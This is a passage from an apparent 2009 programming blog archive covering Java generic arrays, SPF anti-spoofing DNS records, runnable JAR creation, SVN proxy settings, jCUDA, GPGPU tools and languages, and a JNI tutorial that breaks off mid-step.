array[0] = (T) clazz.newInstance();

/** Call constructor T(String, Integer) */
array[0] = (T) clazz.getConstructor(String.class, 
                Integer.class).newInstance("SomeString", 1);

In order to be successful with the static modifier, we need to code the generic array class as an inner class (see next code snippet). The inner class GenericArrayImpl will provide the basic implementation of a generic array that also initializes the generic objects. Specific array operations are implemented by specialized generic array implementations (see NonNumericArray and NumericArray).

public interface IGenericArray<T> {
    public T get(int i);
    public void multiply(T obj);
}

public class GenericArray {

   /** Contains the implementation of common methods */
   private static abstract class GenericArrayImpl <T> 
                           implements IGenericArray<T> {
      …
   }

   /** Our non-numeric class */
   private static class NonNumericArray extends 
                  GenericArrayImpl<NonNumericClass> { 

      public NonNumericArray(int initialSize) {
         super(initialSize);
      }
 
      @Override
      public void multiply(NonNumericClass obj) {
         for (int j = 0; j < size; j++)
            array[j].multiply(obj);
      } 
   }

   private static class NumericArray extends 
                        GenericArrayImpl <Integer> {
 
      public NumericArray(int initialSize) {
         super(initialSize);
      }
 
      @Override
      public void multiply(Integer obj) {
         for (int j = 0; j < size; j++)
            array[j] *= obj;
      } 
   }
}

A possible implementation for GenericArrayImpl may be:

private static abstract class GenericArrayImpl<T> 
                             implements IGenericArray<T> {

   protected T[] array;
   protected int size;
 
   public GenericArrayImpl(int initialSize) {
      this.size = initialSize;
      initialize();
   }

   @SuppressWarnings({ "unchecked" })
   private void initialize(){  
      Class clazz = 
      (Class) ((java.lang.reflect.ParameterizedType) 
            getClass().getGenericSuperclass()
            ).getActualTypeArguments()[0];

      /** Allocate the array */
      array = (T[]) Array.newInstance(clazz, size); 
  
      /** Initialize objects in the array */
      for (int j = 0; j < size; j++){
         try {
            /** Call default constructor */
            if(array[j] == null)
               array[j] = (T) clazz.newInstance();
   
            /** 
             * Perform some other operations: 
             * array[j].doSomething();
             */
         }
         catch (InstantiationException e) {
            e.printStackTrace();
         }
         catch (IllegalAccessException e) {
            e.printStackTrace();
         }
         catch (IllegalArgumentException e) {
            e.printStackTrace();
         }
         catch (SecurityException e) {
            e.printStackTrace();
         }
      }
   }
 
   /** Common implementation (to avoid duplicated code) */
   public T get(int p){
      return array[p];
   }
}

Now we implement the non-numeric class, where the multiplication is defined.

class NonNumericClass {

   private String data;
 
   public NonNumericClass (){
      data = "default";
   }
 
   public void multiply(NonNumericClass c){
      this.data += c.data;
   }
 
   @Override
   public String toString(){
      return data;
   }
}

And voilá:

/** Working with arrays of NonNumericClass */
IGenericArray<NonNumericClass> a = new GenericArray.NonNumericArray(1);
a.multiply(new NonNumericClass());

/** Working with arrays of Integer */
IGenericArray<Integer> b = new GenericArray.NumericArray(1);
b.multiply(new Integer(1));

References

[1] Type erasure is not evil. cakoose.com. http://cakoose.com/wiki/type_erasure_is_not_evil. Retrieved on 2010-09-02.

SIGGRAPH 2009

2009-12-18T18:58:00.003+01:00

Here's a video preview of SIGGRAPH 2009 technical papers. For more detailed information check the SIGGRAPH website.

Anti-SPAM Techniques: Sender Policy Framework (SPF)

2009-11-27T13:59:00.069+01:00

Did you ever received span from your own address ?

SPF is a Policy Framework to help domain owners to identify and pinpoint all the servers which are expected to send mail from their domain, in a DNS record. Therefore, its possible for SMTP receivers (e.g. MTAs like Exim, Postfix, Qmail etc.) to verify the envelope sender address against this information, and distinguish authentic messages from forgeries - reducing the chance of email 'spoofing', phishing schemes and spam!

Create a SPF record

In the past many people have avoided SPF because of the trouble of setting up the SPF records - especially when using multiple ISP's or having mobile users. Nowadays this task can be simplified through this online tool: The SPF Setup Wizard

Deploy the SPF record

To use the newly created SPF record on a domain, make sure you have access to create a TXT-DNS record for the given domain. If you have access to create a TXT-DNS record all you need is to create such a TXT-DNS record containing the SPF record information, and you are done.

SPF helps avoiding forgery but doesn't resolve the spam problem

The main problem is that there aren't many SPF records out there, so most of your lookups will come up with no information. Besides that, there is a lot of invalid/misconfigured SPF records out there.

But even if everybody were to publish SPF records, and the forgery issue is resolved, it doesn't help prevent spam coming from non-forged envelopes. In fact many spammers started publishing SPF records for their spamming machines, so if you ever thought to use SPF to filter SPAM, you will have to rethink your strategy since it doesn't work.

References

[1] Sender Policy Framework (SPF) Record and Godaddy. jamiejamison.com. http://www.jamiejamison.com/2005/08/sender_policy_f.html. Retrieved on 2009-11-06.

[2] Creating SPF Records. godaddy.com. http://help.godaddy.com/article/3047. Retrieved on 2009-11-06.

How to create executable JAR archives with dependent libraries

2009-10-28T16:45:00.018+01:00

As you may know, you can combine several Java classes into a runnable JAR file. Through this approach you can pack large projects and execute them more easily.
The following steps will illustrate how to create and run a JAR file.

1. Create a JAR

First, you need to create a Manifest file, which should contain at least the following lines:

Class-Path: <lib1.jar> <lib2.jar> <path/lib3.jar>
Main-Class: <classname>
Place a new line at the end of this file

Then use jar.exe to create a runnable JAR using the following command:

jar cvfm <your_jar_file.jar> <manifest_file> 
                              <class_files> <libraries>

If you prefer, you can use a Ant script to generate the manifest and create the JAR file. Within this script you need to change the value for jar.name and main.class. Optionally you may need to adjust the values for build.home and deploy.home.

<?xml version="1.0" encoding="UTF-8"?>
<project name="MyProject" default="jar">

  <!-- Name of the output .jar file -->
  <property name="jar.name" value="jar_name.jar" />

  <!-- Base directory for distribution target -->
  <property name="deploy.home" value="." />

  <!-- Base directory for compilation targets -->
  <property name="build.home" value="." />

  <!-- Main class -->
  <property name="main.class" value="my.path.to.the.main.Application" />
 
  <!-- The base directory for all libraries (jar) files -->
  <property name="lib.home" value="lib" />

  <target name="jar" description="Create jar and MANIFEST.MF">

    <pathconvert property="libs.project" pathsep=" ">
      <mapper>
        <chainedmapper>
          <!-- remove absolute path -->
          <flattenmapper />

          <!-- add lib/ prefix -->
          <globmapper from="*" to="lib/*" />
        </chainedmapper>
      </mapper>
      <path>
        <!-- lib.home contains all jar files, 
                                        in several subdirectories -->
        <fileset dir="${lib.home}">
          <include name="**/*.jar" />
        </fileset>
      </path>

    </pathconvert>

    <!-- create the jar -->
    <jar jarfile="${deploy.home}/${jar.name}" basedir="${build.home}/classes">

      <manifest>
        <attribute name="Built-By" value="${user.name}" />
        <attribute name="Main-Class" value="${main.class}" />

        <!-- Finally, use the generated libs path -->
        <attribute name="Class-Path" value="${libs.project}" />
      </manifest>

    </jar>
  </target>

</project>

As a result you may get something similar to:

Manifest-Version: 1.0
Ant-Version: Apache Ant 1.7.0
Created-By: 11.3-b02 (Sun Microsystems Inc.)
Built-By: bruno.simoes
Main-Class: my.path.to.the.main.Application
Class-Path: lib/somelib.jar lib/anotherlib.jar

2. Execute a JAR

Double click the .jar file and see what happens. Maybe it is already working, and you have to do nothing. If it opens in your archiver software, then you need to find out what OS are you running and then respectively associate the file with the Java Runtime Environment.

2.1 Windows

Go to "My Computer", click on one of your drives (C for instance). When it is shown, choose "Tools->Folder Options" (or Properties. It's in different places depending on the windows version). Alternatively, open windows explorer (just open any folder) to get the "Tools -> Folder Options" window.
When you get the folder options window, click on the tab "File Types". You should be able to either edit or add JAR files (.jar extension)
Change the program used to open JAR files. In the file select window, go to the folder where the JRE is installed (should be C:/Program Files/Java/ (...), mark "Always Open With", and select the javaw.exe file

Another way to do it is:

Left-click the .jar file, and select the option "Open With".
If you can't see it in the left-click menu, try holding shift while clicking.
Select javaw.exe as above, and see if it runs.

2.2 GNU/Linux

In the left click menu, there should be the "open with" enabled by default. Select "Sun Java X.X runtime", and run it.
If you want to always open .jar files with Java instead of the archiver, select the right click menu, click on properties.
- Select the open with tab.
- There should be the Java software there to select. Make your choice, and confirm.

2.3 Command Line

Open a command line window.
- In Windows, click on "start", select "run", and type "command" or "cmd" on the text box.
- For GNU/Linux, I assume you know how to do it.
  - It really depends on the distribution you are using, but GNU/Linux users work much more with the command prompt.
  - you can press ctrl + alt + F1-F6 to switch to text console, and ctrl + alt + F7 to return to the graphic mode.
Go to the folder with the .jar file.
Type:
java -jar <your_jar_file.jar>

An Analyze-and-Edit Approach to Shape Manipulation

2009-10-07T20:25:00.001+02:00

iWires is a novel approach based on the argument that man-made models can be distilled using a few special 1D wires and their mutual relations. So, prior to editing, is performed a light-weight analysis of the input shape to extract a descriptive set of wires. Analyzing the individual and mutual properties of the wires, and augmenting them with geometric attributes makes them intelligent and ready to be manipulated.

Subversion through proxy

2009-09-23T10:38:00.013+02:00

People with a proxy running on their networks run into a little snag when trying to access an SVN database through it. SVN over http requires more than the usual GET and POST. Proxies by default aren't configured to allow the extra http commands that SVN uses. However this problem can be solved.

Open servers file in the following location.

Window XP
C:\Documents and Settings\[YOUR USERNAME]\Application Data\Subversion\servers

Windows Vista
C:\Users\[YOUR USERNAME]\AppData\Roaming\Subversion\servers

Linux
/etc/subversion/servers

Update following lines at the end of file.

[global]
http-proxy-exceptions = yourproxy exceptions (e.g. dev.company.com)
http-proxy-host = yourproxyhost (e.g. proxy.company.com)
http-proxy-port = your proxy port (e.g. 8080)
http-proxy-username = proxyusername
http-proxy-password = proxypassword

Update Eclipse Proxy settings (This step usually is not needed)

Windows > Preferences

Type 'proxy' in the filter text box. Go to 'Network Connections' config page. Choose manual proxy configuration and Update the proxy details.

GPU Computing using jCUDA

2009-09-20T11:17:00.108+02:00

jCUDA provides access to CUDA for Java programmers, exploiting the full power of GPU hardware from Java based applications. Using jCUDA you can create cross-platform CUDA solutions, that can run on any operating system supported by CUDA without changing your code.

What do I need ?

Recent NVIDIA hardware with a CUDA driver
Java SDK
Eclispe (optional)
jCUDA library
Probably you will have to install Visual Studio if you are using the Windows Platform

Which are the magic steps?

1. Download and install all the requirements

Check if you have a CUDA-enabled graphic card. If you don’t have one, you need to buy it. Then install the CUDA drivers for your graphic card and the Java SDK.
Download the jCuda library and use it together with your favorite IDE (if you have one).

2. Write your Java application

You can write your Java application normally and access to your GPU through jCUDA library. However you need to learn how to use it. This example will illustrate how to detect available GPUs and how to execute your CUDA program on them.

Note that CUDA program is stored inside a folder called resources, and carful with the number of memory bytes occupied by pointers. You will find that size of pointer often corresponds to the bit-architecture of target machine. That is, if the compiler is for 32 bit architecture, then the pointer would occupy 32 bits (4 bytes), and if the compiler is for 64 bit architecture, then the pointer would occupy 64 bits(8 bytes).

CUDA cuda = new CUDA(true);

int count = cuda.getDeviceCount();
if(count == 0){
 System.out.println("No GPU devices found"); 
 return;
}

System.out.println("Total number of devices: " + count); 
for (int i = 0; i < count; i++) {
 CUdevice dev = cuda.getDevice(i);
 
 String name = cuda.getDeviceName(dev);
 System.out.println("Name: " + name);
 
 int version[] = cuda.getDeviceComputeCapability(dev);
 System.out.println("Version: " + String.format("%d.%d", version[0], version[1]));
 
 CUdevprop prop = cuda.getDeviceProperties(dev);
 System.out.println("Clock rate: " + 
                      prop.clockRate + " MHz");
 System.out.println("Max threads per block: " + 
                      prop.maxThreadsPerBlock);
}

/** Select 1st device */
cuda.getDevice(0);

/** Create a context (necessary) */
cuda.createContext();

/** Load the module */
File cubinFile = new File("resources", "sub_module.cubin");
cuda.loadModule(cubinFile.getAbsolutePath());

/** Get the function we want */
cuda.getModuleFunction("subtract");

/** Now we should allocate the necessary memory */
int memSize = Integer.SIZE / 8 * 64;
CUdeviceptr devicePtr = cuda.allocate(memSize);

int originalData[] = new int[64];
for (int i=0; i<originalData.length; i++)
 originalData[i] = i;

/** Copy the original array to device */
cuda.copy(devicePtr, originalData, memSize);

/**
 * Setup function parameters
 * 1st Parameter is pointer to device memory
 * Note on 64 bit platforms, each pointer consumes 8 bytes, 
 * on 32 bit only 4.
 */

int offset = 0;
int delta = 13;
cuda.setParameter(offset, devicePtr);

/** Change to 4 if you are using a 32 bits platform */
offset = 8;
cuda.setParameter(offset, delta);

/** 
 * A simple int scalar takes only 4 if 32 bits 
 * or 8 bytes if 64 bits.
 */
offset += Integer.SIZE / offset;

cuda.setParameterSize(offset);

/** Now, configure the execution configuration */
cuda.setFunctionBlockShape(originalData.length, 1, 1);

cuda.launch();

/** Wait for all operations to complete */
cuda.synchronizeStream(new CUstream(0));

/** Copy results back */
cuda.copy(originalData, devicePtr, memSize);

/** Verify results.... */
boolean correct = true;
for (int i=0; i<originalData.length; i++) {
 if (originalData[i] != (i - delta)*(i - delta)) {
  System.out.println("Error at " + i +":"+ originalData[i]);
  correct = false;
 }
}

if (correct)
 System.out.println("Test passed");
else
 System.out.println("Test failed");

/** Release resources */
cuda.free(devicePtr);

3. Write your CUDA code

The following example is written in CUDA, which is very similar to C language. If you can’t understand this example, well, all I can tell you is: the result is equal to (src - amount) * (src - amount).

extern "C" __global__ void subtract(int *src, int amount){
 src[threadIdx.x] -= amount;
 src[threadIdx.x] *= src[threadIdx.x];
}

4. Compile your CUDA code

Before running the application, your CUDA code must be compiled to an assembly intermediate language, PTX and then assembled in the cubin file format.

Here is the simplified compilation process:

If you are using Windows, you can execute the following command.

nvcc.exe -cuda -I $(SDK)/common/inc resources/sub_module.cu

If you prefer to use Ant. Use this script together with your favorite IDE.

<?xml version="1.0" encoding="UTF-8"?>
<project name="GPGPU" basedir="." default="all">
 <target name="all">
  <exec executable="nvcc.exe">
   <arg value="resources/sub_module.cu" />
   <arg value="--cubin" />
  </exec>
 </target>
</project>

4. Compile and run your Java application

Don't forget, GPUs are connected to the main computer processor by relatively slow connection, the bus. For this reason moving data on and off of the GPU is an expensive task if compared to performing calculation directly on the GPU. This can create critical bottlenecks for instance when one wants to perform a calculation on the CPU using some data, then perform further calculation on the GPU and then use the output of the GPU to use once more the CPU. The overhead introduced by data transfers through the bus can overwhelm the benefits of fast GPU computation.

GPGPU Debugging Tools

2009-09-17T11:41:00.007+02:00

Until recently, support for debugging on GPUs was fairly limited, and the features necessary for a good GPU debugger were not well defined. The advent of GPGPU programming makes it clear that a GPU debugger should have similar capabilities as traditional CPU debuggers, including variable watches, program break points, and single-step execution. GPU programs often involve user interaction. While a debugger does not need to run the application at full speed, the application being debugged should maintain some degree of interactivity [8]. A GPU debugger should be easy to add to and remove from an existing application, should mangle GPU state as little as possible, and should execute the debug code on the GPU, not in a software rasterizer. Finally, a GPU debugger should support the major GPU programming APIs and vendor-specific extensions.

There are a few different systems for debugging GPU programs available to use, but nearly all are missing one or more of the important features we just discussed.

gDEBugger [1] and GLIntercept [2] are tools designed to help debug OpenGL programs. Both are able to capture and log OpenGL state from a program. gDEBugger allows a programmer to set breakpoints and watch OpenGL state variables at runtime, as well as to profile applications using GPU hardware performance signals [8]. There is currently no specific support for debugging shaders, but both support runtime shader editing.

The Microsoft Shader Debugger [3], however, does provide runtime variable watches and breakpoints for shaders. The shader debugger is integrated into the Visual Studio IDE, and provides all the same functionality programmers are used to for traditional programming [8]. Unfortunately, debugging requires the shaders to be run in software emulation rather than on the hardware. In contrast, the Apple OpenGL Shader Builder [4] also has a sophisticated

IDE and actually runs shaders in real time on the hardware during shader debug and edit. The downside to this tool is that it was designed for writing shaders, not for computation. The shaders are not run in the context of the application, but in a separate environment designed to help facilitate shader writing.

The Shadesmith Fragment Program Debugger [5] was the first system to automate printf-style debugging while providing basic shader debugging functionality like breakpoints, program stepping, and programmable scale and bias for the image printf [8]. While Shadesmith represents a big step in the right direction for GPGPU debugging, it still has many limitations, the largest of which is that Shadesmith is currently limited to debugging assembly language shaders. Additionally, Shadesmith only works for OpenGL fragment programs, and provides no support for debugging OpenGL state.

Finally, Duca et al. recently described a system that not only provides debugging for graphics state but also both vertex and fragment programs [6]. Their system builds a database of graphics state for which the user writes SQL style queries. Based on the queries, the system extracts the necessary graphics state and program data and draws the appropriate data into a debugging window [8]. The system is build on top of the Chromium [7] library, enabling debugging of any OpenGL applications without modification to the original source program. This promising approach combines graphics state debugging and program debugging with visualizations in a transparent and hardware-rendered approach.

References

[1] Graphic Remedy gDEBugger. http://www.gremedy.com/, 2006.

[2] Trebilco D.: GLIntercept. http://glintercept.nutty.org/, 2006.

[3] Microsoft shader debugger. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/directx9_c/directx/graphics/Tools/ShaderDebugger.asp, 2005.

[4] Apple Computer OpenGL shader builder profiler. http://developer.apple.com/graphicsimaging/opengl/, 2006.

[5] Purcell T. J., Sen P.: Shadesmith fragment program debugger. http://graphics.stanford.edu/projects/shadesmith/, 2003.

[6] Duca N., Niski K., Bilodeau J., Bolitho M., Chen Y., Cohen J.: A relational debugging engine for the graphics pipeline. ACM Transactions on Graphics 24, 3 (Aug. 2005), 453–463.

[7] Humphreys G., Houston M., Ng R., Frank R., Ahern S., Kirchner P., Klosowski J.:
Chromium: A stream-processing framework for interactive rendering on clusters. ACMTransactions on Graphics 21, 3 (July 2002), 693–702.

[8] Owens, J. D., Luebke, D., Govindaraju, N., Harris, M., Krüger, J., Lefohn, J. A., and Purcell, T. A Survey of General-Purpose Computation on Graphics Hardware. Computer Graphics Forum, 26(1):80–113, March 2007.

General-purpose computing on the GPU (GPGPU)

2009-09-15T10:32:00.003+02:00

Parallelism is the future of computing. Future microprocessor development efforts will continue to concentrate on adding cores rather than increasing single-thread performance [1]. One example of this trend is the heterogeneous nine-core Cell broadband engine, currently used on Sony Playstation 3, which has also attracted substantial interest from the scientific computing community [1,7]. Similarly, the highly parallel graphics processing unit (GPU) is rapidly gaining maturity as a powerful engine for computationally demanding applications. The GPU’s performance and potential offer a great deal of promise for future computing systems. However the architecture and programming model of the GPU are slightly different from the commodity single-chip processors.

One of the historical difficulties in programming GPGPU applications has been that despite their general-purpose tasks having nothing to do with graphics, the applications still had to be programmed using graphics APIs. In addition, the program had to be structured in terms of the graphics pipeline, with the programmable units only accessible as an intermediate step in that pipeline, when the programmer would almost certainly prefer to access the programmable units directly [1].

Today, GPU computing applications are structured in the following way.

The programmer directly defines the computation domain of interest as a structured grid of threads.
An SPMD general-purpose program computes the value of each thread.
The value for each thread is computed by a combination of math operations and both “gather” (read) accesses from and “scatter” (write) accesses to global memory. Unlike in the previous two methods, the same buffer can be used for both reading and writing, allowing more flexible algorithms (for example, in-place algorithms that use less memory).
The resulting buffer in global memory can then be used as an input in future computation.

This programming model is powerful for several reasons. First, it allows the hardware to fully exploit the application’s data parallelism by explicitly specifying that parallelism in the program. Next, it strikes a careful balance between generality (a fully programmable routine at each element) and restrictions to ensure good performance (the SPMD model, the restrictions on branching for efficiency, restrictions on data communication between elements and between kernels/passes, and so on). Finally, its direct access to the programmable units eliminates much of the complexity faced by previous GPGPU programmers in co-opting the graphics interface for general-purpose programming. As a result, programs are more often expressed in a familiar programming language and are simpler and easier to build and debug. The result is a programming model that allows its users to take full advantage of the GPU’s powerful hardware but also permits an increasingly high-level programming model that enables productive authoring of complex applications.

GPU versus CPU

Recent experiments show that GPU implementations of traditionally CPU-restricted algorithms have performance increases of an order of magnitude or greater. The picture 1 can give an overall of current performances.

Figure 1. GPU versus CPU performance

Furthermore, Intel is developing a hybrid between a multi-core CPU and a GPU – Larabee, targeting to hit 2 Teraflops. This GPGPU chip should be released in the end of 2009 and the first two versions will have 32 and 24 cores respectively, with a 48 core version coming in 2010. Several short articles about Larrabee are claiming that Larrabee will have a TDP as large as 300W [4], that it will use a 12-layer PCB and has a cooling system that "is meant to look similar to what you can find on high-end Nvidia cards today” [5]. Larrabee will use GDDR5 memory and it is targeted to have 2 single-precision teraflops of computing power [6].

AMD has already bought ATI and is already hitting 1.2 Teraflops with the Radeon HD 4870. Radeon HD 4870 X2 should already break 2 Teraflops.

NVIDIA will offer the GT300 containing up to 512 cores, up from 240 cores in NVIDIA's current high-end GPU. Since the new chips will be on the 40nm process node, NVIDIA could also crank up the clock. The current Tesla GPUs are running at 1.3-1.4 GHz and deliver about 1 teraflop, single precision, and less than 100 gigaflops, double precision. There also some speculations that a 2 GHz clock could up that to 3 teraflops of single precision performance, and, because of other architectural changes, double precision performance would get an even larger boost. Furthermore and according to Valich [2], the upcoming GPU will sport a 512-bit interface connected to GDDR5 memory. If true he says, "we are looking at memory bandwidth anywhere between 268.8-294.4 GB/s per single GPU" [3].

Software Environments

In the past, the majority of GPGPU programming was done directly through graphics APIs. Although many researchers were successful in getting applications to work, there is a fundamental mismatch between the traditional programming models people were using and the goals of the graphics APIs. Originally, people used fixed function, graphics-specific units (e.g. texture filters, blending, and stencil buffer operations) to perform GPGPU operations [1]. This quickly got better with fully programmable fragment processors which provided pseudo assembly languages, but this was still unapproachable by all but the most ardent researchers.

With DirectX 9, higher level shader programming was made possible through the “high-level shading language” (HLSL), presenting a C-like interface for programming shaders. NVIDIA’s Cg provided similar capabilities as HLSL but was able to compile to multiple targets and provided the first high-level language for OpenGL. The OpenGL Shading Language (GLSL) is now the standard shading language for OpenGL. However, the main issue with Cg/HLSL/GLSL for GPGPU is that they are inherently shading languages. Computation must still be expressed in graphics terms like vertices, textures, fragments, and blending. So, although you could do more general computation with graphics APIs and shading languages, they were still largely unapproachable by the common programmer [1]. What developers really wanted were higher level languages that were designed explicitly for computation and abstracted all of the graphics-isms of the GPU.

In the past, the majority of GPGPU programming was done directly through graphics APIs.

Most high-level GPU programming languages today share one thing in common: they are designed around the idea that GPUs generate pictures. As such, the high-level programming languages are often referred to as shading languages [1]. That is, they are a high-level language that compiles a shader program into a vertex shader and a fragment shader to produce the image described by the program.

Cg [8], HLSL [9], and the OpenGL Shading Language [10] all abstract the capabilities of the underlying GPU and allow the programmer to write GPU programs in a more familiar C-like programming language. They do not stray far from their origins as languages designed to shade polygons. All retain graphics-specific constructs: vertices, fragments, textures, etc. Cg and HLSL provide abstractions that are very close to the hardware, with instruction sets that expand as the underlying hardware capabilities expand. The OpenGL Shading Language was designed looking a bit further out, with many language features (e.g. integers) that do not directly map to hardware available today [1].

Sh is a shading language implemented on top of C++ [16]. Sh provides a shader algebra for manipulating and defining procedurally parameterized shaders. Sh manages buffers and textures, and handles shader partitioning into multiple passes. Sh also provides a stream programming abstraction suitable for GPGPU programming [1].

BrookGPU [12] takes a pure streaming computation abstraction approach representing data as streams and computation as kernels. There is no notion of textures, vertices, fragments, or blending in Brook. Kernels are written in a restricted subset of C, notably the absence of pointers and scatter, and defined the input, output, and gather streams used in a kernel as part of the kernel definition. The user’s kernels are mapped to fragment shader code and streams to textures. Data upload and download to the GPU is performed via explicit read/write calls translating into texture updates and framebuffer read backs [1]. Lastly, computation is performed by rendering a quad covering the pixels in the output domain.

Microsoft’s Accelerator [13] project has a similar goal as Brook in being very compute-centric, but instead of using offline compilation, Accelerator relies on just-in-time compilation of data-parallel operators to fragment shaders. Unlike Brook, but similar to Sh, the delayed evaluation model allows for more aggressive online compilation, leading to potentially more specialized and optimized generated code for execution on the GPU [1].

RapidMind [14] commercialized Sh and now targets multiple platforms including GPUs, the STI Cell Broadband Engine, and multicore CPUs, and the new system is much more focused on computation as compared to Sh, which included many graphics-centric operations [1].

PeakStream [15] (purchased by Google in 2007) is a new system, inspired by Brook, designed around operations on arrays. Similar to RapidMind and Accelerator, PeakStream uses just-in-time compilation but is much more aggressive about vectorizing the user’s code to maximize performance on SIMD architectures. Peak-Stream is also the first platform to provide profiling and debugging support, the latter continuing to be a serious problem in GPGPU development [1].

Ashli [11] works at a level one step above that of Cg, HLSL, or the OpenGL Shading Language. Ashli reads as input shaders written in HLSL, the OpenGL Shading Language, or a subset of RenderMan. Ashli then automatically compiles and partitions the input shaders to run on a programmable GPU [1].

AMD announced and released their system to researchers in late 2006. CTM (Close To the Metal), provides a low-level hardware abstraction layer (HAL) for the R5XX and R6XX series of ATI GPUs. CTMHAL provides raw assembly-level access to the fragment engines (stream processors) along with an assembler and command buffers to control execution on the hardware AMD also offers the compute abstraction layer (CAL), which adds higher level constructs, similar to those in the Brook runtime system, and compilation support to GPU ISA for GLSL, HLSL, and pseudo assembly like Pixel Shader 3.0. For higher level programming, AMD supports compilation of Brook programs directly to R6XX hardware, providing a higher level programming abstraction than provided by CAL or HAL.

NVIDIA’s CUDA is a higher level interface than AMD’s HAL and CAL. Similar to Brook, CUDA provides a C-like syntax for executing on the GPU and compiles offline. However, unlike Brook, which only exposed one dimension of parallelism, data parallelism via streaming, CUDA exposes two levels of parallelism, data parallel and multithreading. CUDA also exposes much more of the hardware resources than Brook, exposing multiple levels of memory hierarchy: per-thread registers, fast shared memory between threads in a block, board memory, and host memory. Kernels in CUDA are also more flexible that those in Brook by allowing the use of pointers (although data must be on board), general load/store to memory allowing the user to scatter data from within a kernel, and synchronization between threads in a thread block. However, all of this flexibility and potential performance gain comes with the cost of requiring the user to understand more of the low-level details of the hardware, notably register usage, thread and thread block scheduling, and behavior of access patterns through memory.

CUDA provides tuned and optimized basic linear algebra subprograms (BLAS) and fast Fourier transform (FFT) libraries to use as building blocks for large applications. Low-level access to hardware, such as that provided by CTM, or GPGPU specific systems like CUDA, allow developers to effectively bypass the graphics drivers and maintain stable performance and correctness.

NVIDIA’s CUDA allows the user to access memory using standard C constructs (arrays, pointers, variables). AMD’s CTM is nearly as flexible but uses 2-D addressing.

The use of direct-compute layers such as CUDA and CTM both simplifies and improves the performance of linear algebra on the GPU. For example, NVIDIA provides CuBLAS, a dense linear algebra package implemented in CUDA and following the popular BLAS conventions.

References

[1] Owens, J. D., Houston, M., Luebke, D., Green, S., Stone, J. E., and Phillips, J. C. GPU computing. IEEE Proceedings, May 2008, 879-899.

[2] Theo Valich. GT300 to feature 512-bit interface - nVidia set to continue with complicated controllers?. http://www.brightsideofnews.com/news/2009/5/5/gt300-to-feature-512-bit-interface---nvidia-set-to-continue-with-complicated-controllers.aspx

[3] nVidia's GT300 specifications revealed - it's a cGPU!. http://www.brightsideofnews.com/news/2009/4/22/nvidias-gt300-specifications-revealed---its-a-cgpu!.aspx

[4]Larrabee to launch at 300W TDP. fudzilla.com. http://www.fudzilla.com/index.php?option=com_content&task=view&id=7651&Itemid=1. Retrieved on 2008-08-06.

[5] Larrabee will use a 12-layer PCB. fudzilla.com. http://www.fudzilla.com/index.php?option=com_content&task=view&id=8435&Itemid=1. Retrieved on 2009-07-09.

[6] Larrabee will use GDDR5 memory. fudzilla.com. http://www.fudzilla.com/index.php?option=com_content&task=view&id=8460&Itemid=1. Retrieved on 2008-08-06.

[7] Jakub Kurzak, Alfredo Buttari, Piotr Luszczek, Jack Dongarra, "The PlayStation 3 for High-Performance Scientific Computing," Computing in Science and Engineering, vol. 10, no. 3, pp. 84-87, May/June, 2008.

[8] Mark W. R., Glanville R. S., Akeley K., Kilgard M. J.: Cg: A system for programming graphics hardware in a C-like language. ACM Transactions on Graphics 22, 3 (July 2003), 896–907.

[9] Microsoft high-level shading language. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/directx9_c/directx/graphics/reference/hlslreference/hlslreference.asp, 2005.

[10] Kessenich J., Baldwin D., Rost R.: The OpenGL Shading Language version 1.10.59. http://www.opengl.org/documentation/oglsl.html, Apr. 2004.

[11] Bleiweiss A., Preetham A.: Ashli—Advanced shading language interface. ACM SIGGRAPH Course Notes (July 2003). http://www.ati.com/developer/SIGGRAPH03/AshliNotes.pdf.

[12] I. Buck, T. Foley, D. Horn, J. Sugerman, K. Fatahalian, M. Houston, and P. Hanrahan, “Brook for GPUs: Stream computing on graphics hardware”, ACM Trans. Graph., vol. 23, no. 3, pp. 777–786, Aug. 2004.

[13] D. Tarditi, S. Puri, and J. Oglesby, “Accelerator: Using data-parallelism to program GPUs for general-purpose uses”, in Proc. 12th Int. Conf. Architect. Support Program. Lang. Oper. Syst., Oct. 2006, pp. 325–335.

[14] M. McCool, “Data-parallel programming on the cell BE and the GPU using the RapidMind development platform”, in Proc. GSPx Multicore Applicat. Conf., Oct.–Nov. 2006.

[15] PeakStream, The PeakStream platform: High productivity software development for multi-core processors. [Online]. Available: http://www.peakstreaminc.com/reference/peakstream_platform_technote.pdf

[16] Mccool M., Du Toit S., Popa T., Chan B., Moule K.: Shader algebra. ACM Transactions on Graphics 23, 3 (Aug. 2004), 787–795.

The Java Native Interface (JNI)

2009-08-31T16:06:00.063+02:00

The Java Native Interface (JNI) enables the integration of code written in the Java programming language with code written in other languages such as C, C++ and assembly. Therefore, you can natively run heavy tasks in pursuance of a better performance.

Is it platform-independent?

Your application can be platform-independent if you store the compiled JNI libraries (for all possible architectures) in the jar alongside the class files. However, since System.load() can't cope with loading libraries from within a jar, you'll therefore need a custom loader which extracts the library to a temporary file at runtime.

So, what do I need ?

Microsoft Windows SDK (recomended if you are using Windows)
Microsoft Visual Studio (same here)
Java SDK

And, which are the magic steps?

1. Declare your native methods in a normal Java class.

public class JavaJNI {

static {
System.loadLibrary("NativeLib");
}

public static native String write(String s);

public static void main(String[] argv) {
System.out.print(JavaJNI.write("Hello"));
}

}

2. Compile the Java file normally.

javac JavaJNI.java

3. Generate the .h file.

javah -jni JavaJNI

4. Write the native code using the file generated above.

In this case you will find the following method inside:

JNIEXPORT jstring JNICALL 
Java_JavaJNI_write(JNIEnv *, jclass, jstring);

Now you have the green light to implement it.

#include "JavaJNI.h"

JNIEXPORT jstring JNICALL Java_JavaJNI_write(JNIEnv *env, 
jobject thisobject, jstring js){
const char *temp;
jstring result = NULL;
temp = (*env)->GetStringUTFChars(env, js, 0);

/** Your normal C code */
printf("Input: %s", temp);

result = (*env)->NewStringUTF(env, 
(const char*) "\nResult: http://www.think-techie.com");
(*env)->ReleaseStringUTFChars(env, js, temp);
return result;
}

If you are trying to use C++ use the following methods instead:

env->GetStringUTFChars(js, 0);
env->NewStringUTF((const char*) temp);
env->ReleaseStringUTFChars(js, temp);

5. Compile the code

Windows with MS C++ Compiler

cl -c /Ic:\Programs\JavaSDK\include /I"C:\Programs\Microsoft Visual Studio 9.0\VC\include" /Ic:\Programs\JavaSDK\include\win32 NativeLib.c

link -LIBPATH:"C:\Programs\Microsoft SDKs\Windows\v6.0\VC\LIB" -LIBPATH:"C:\Programs\Microsoft SDKs\Windows\v6.0\Lib" NativeLib.obj /dll

Or this one:

